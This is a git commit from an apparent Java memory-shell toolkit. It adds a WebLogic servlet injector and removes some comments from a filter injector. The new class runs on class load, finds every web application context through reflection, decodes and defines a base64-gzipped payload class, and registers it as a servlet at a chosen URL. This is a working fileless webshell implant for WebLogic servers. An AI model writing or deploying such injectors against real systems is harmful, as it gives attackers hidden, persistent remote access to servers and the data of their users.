feat: support weblogic servlet (resolved #5)

2026-09-22 07:00:43 +08:00 · 2024-12-24 21:09:49 +08:00
parent 89472ceee1
commit ba2b74af66
8 changed files with 287 additions and 19 deletions
@@ -22,7 +22,6 @@ public class WebLogicFilterInjector {
        return "{{urlPattern}}";
    }

-
    public String getClassName() {
        return "{{className}}";
    }
@@ -153,9 +152,6 @@ public class WebLogicFilterInjector {
        return obj;
    }

-    /**
-     * https://github.com/BeichenDream/GodzillaMemoryShellProject
-     */
    @SuppressWarnings("unchecked")
    public void inject(Object context, Object filter) throws Exception {
        if (isInjected(context)) {
@@ -164,10 +160,8 @@ public class WebLogicFilterInjector {
        Object filterManager = invokeMethod(context, "getFilterManager", null, null);
        Object servletClassLoader = invokeMethod(context, "getServletClassLoader", null, null);
        Map<String, Class<?>> cachedClasses = (Map<String, Class<?>>) getFieldValue(servletClassLoader, "cachedClasses");
-        //或者直接反射在这个classloader定义类 就不用写缓存了 不过就要硬编码一个class了
        cachedClasses.put(getClassName(), filter.getClass());
        invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{getClassName(), getClassName(), new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}});
-        //将filter置为第一位
        List<Object> filterPatternList = (List<Object>) getFieldValue(filterManager, "filterPatternList");
        Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1);
        filterPatternList.add(0, currentMapping);
@@ -0,0 +1,250 @@
+package com.reajason.javaweb.memshell.weblogic.injector;
+
+import javax.servlet.Servlet;
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Array;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ */
+public class WebLogicServletInjector {
+
+    static {
+        new WebLogicServletInjector();
+    }
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    public WebLogicServletInjector() {
+        try {
+            Object[] contexts = getContext();
+            for (Object context : contexts) {
+                Object servlet = getShell(context);
+                inject(context, servlet);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public static Object[] getContextsByMbean() throws Throwable {
+        Set<Object> webappContexts = new HashSet<Object>();
+        Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
+        Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
+        Method theOneMethod = serverRuntimeClass.getMethod("theOne");
+        theOneMethod.setAccessible(true);
+        Object serverRuntime = theOneMethod.invoke(null);
+        Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
+        getApplicationRuntimesMethod.setAccessible(true);
+        Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
+        int applicationRuntimeSize = Array.getLength(applicationRuntimes);
+        for (int i = 0; i < applicationRuntimeSize; i++) {
+            Object applicationRuntime = Array.get(applicationRuntimes, i);
+            try {
+                Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
+                Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
+                int componentRuntimeSize = Array.getLength(componentRuntimes);
+                for (int j = 0; j < componentRuntimeSize; j++) {
+                    Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
+                    if (webAppServletContextClass.isInstance(context)) {
+                        webappContexts.add(context);
+                    }
+                }
+            } catch (Throwable ignored) {
+            }
+
+            try {
+                Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
+                for (Object componentRuntime : childrenSet) {
+                    try {
+                        Object context = getFieldValue(componentRuntime, "context");
+                        if (webAppServletContextClass.isInstance(context)) {
+                            webappContexts.add(context);
+                        }
+                    } catch (Throwable ignored) {
+                    }
+                }
+            } catch (Throwable ignored) {
+            }
+        }
+        return webappContexts.toArray();
+    }
+
+    public static Object[] getContextsByThreads() throws Throwable {
+        Set<Object> webappContexts = new HashSet<Object>();
+        ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
+        int threadCount = threadGroup.activeCount();
+        Thread[] threads = new Thread[threadCount];
+        threadGroup.enumerate(threads);
+        for (int i = 0; i < threadCount; i++) {
+            Thread thread = threads[i];
+            if (thread != null) {
+                Object workEntry = getFieldValue(thread, "workEntry");
+                if (workEntry != null) {
+                    try {
+                        Object context = null;
+                        Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
+                        if (connectionHandler != null) {
+                            Object request = getFieldValue(connectionHandler, "request");
+                            if (request != null) {
+                                context = getFieldValue(request, "context");
+                            }
+                        }
+                        if (context == null) {
+                            context = getFieldValue(workEntry, "context");
+                        }
+
+                        if (context != null) {
+                            webappContexts.add(context);
+                        }
+                    } catch (Throwable ignored) {
+                    }
+                }
+            }
+        }
+        return webappContexts.toArray();
+    }
+
+    public static Object[] getContext() {
+        Set<Object> webappContexts = new HashSet<Object>();
+        try {
+            webappContexts.addAll(Arrays.asList(getContextsByMbean()));
+        } catch (Throwable ignored) {
+        }
+        try {
+            webappContexts.addAll(Arrays.asList(getContextsByThreads()));
+        } catch (Throwable ignored) {
+        }
+        return webappContexts.toArray();
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        Object obj;
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        if (classLoader == null) {
+            classLoader = context.getClass().getClassLoader();
+        }
+        try {
+            obj = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            obj = clazz.newInstance();
+        }
+        return obj;
+    }
+
+    /**
+     * server/lib/weblogic.jar
+     * weblogic.servlet.internal.WebAppServletContext
+     */
+    public void inject(Object context, Object servlet) throws Exception {
+        // weblogic.servlet.utils.URLMapping
+        Object servletMapping = invokeMethod(context, "getServletMapping", null, null);
+        Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
+        Class<?> servletStubImplClass = Class.forName("weblogic.servlet.internal.ServletStubImpl");
+        Object servletStub = null;
+        Constructor<?> servletStubImplConstructor = null;
+        try {
+            servletStubImplConstructor = servletStubImplClass.getDeclaredConstructor(String.class, Servlet.class, webAppServletContextClass);
+            servletStubImplConstructor.setAccessible(true);
+            servletStub = servletStubImplConstructor.newInstance(getClassName(), servlet, context);
+        } catch (NoSuchMethodException e) {
+            // 10.3.6
+            servletStubImplConstructor = servletStubImplClass.getDeclaredConstructor(String.class, String.class, webAppServletContextClass, Map.class);
+            servletStubImplConstructor.setAccessible(true);
+            servletStub = servletStubImplConstructor.newInstance(getClassName(), getClassName(), context, null);
+        }
+        Constructor<?> urlMatchHelperConstructor = Class.forName("weblogic.servlet.internal.URLMatchHelper").getDeclaredConstructor(String.class, servletStubImplClass);
+        urlMatchHelperConstructor.setAccessible(true);
+        Object urlMatchHelper = urlMatchHelperConstructor.newInstance(getUrlPattern(), servletStub);
+        Object mapping = invokeMethod(servletMapping, "get", new Class[]{String.class}, new Object[]{getUrlPattern()});
+        if (mapping == null) {
+            invokeMethod(servletMapping, "put", new Class[]{String.class, Object.class}, new Object[]{getUrlPattern(), urlMatchHelper});
+            System.out.println("servlet inject successful");
+        } else {
+            System.out.println("servlet already injected");
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+        } finally {
+            if (gzipInputStream != null) {
+                try {
+                    gzipInputStream.close();
+                } catch (IOException ignored) {
+                }
+            }
+            out.close();
+        }
+        return out.toByteArray();
+    }
+
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = obj.getClass();
+        Method method = clazz.getDeclaredMethod(methodName, paramClazz);
+        method.setAccessible(true);
+        return method.invoke(obj, param);
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        for (Class<?> clazz = obj.getClass(); clazz != Object.class; clazz = clazz.getSuperclass()) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException ignored) {
+
+            }
+        }
+        throw new NoSuchFieldException(name);
+    }
+}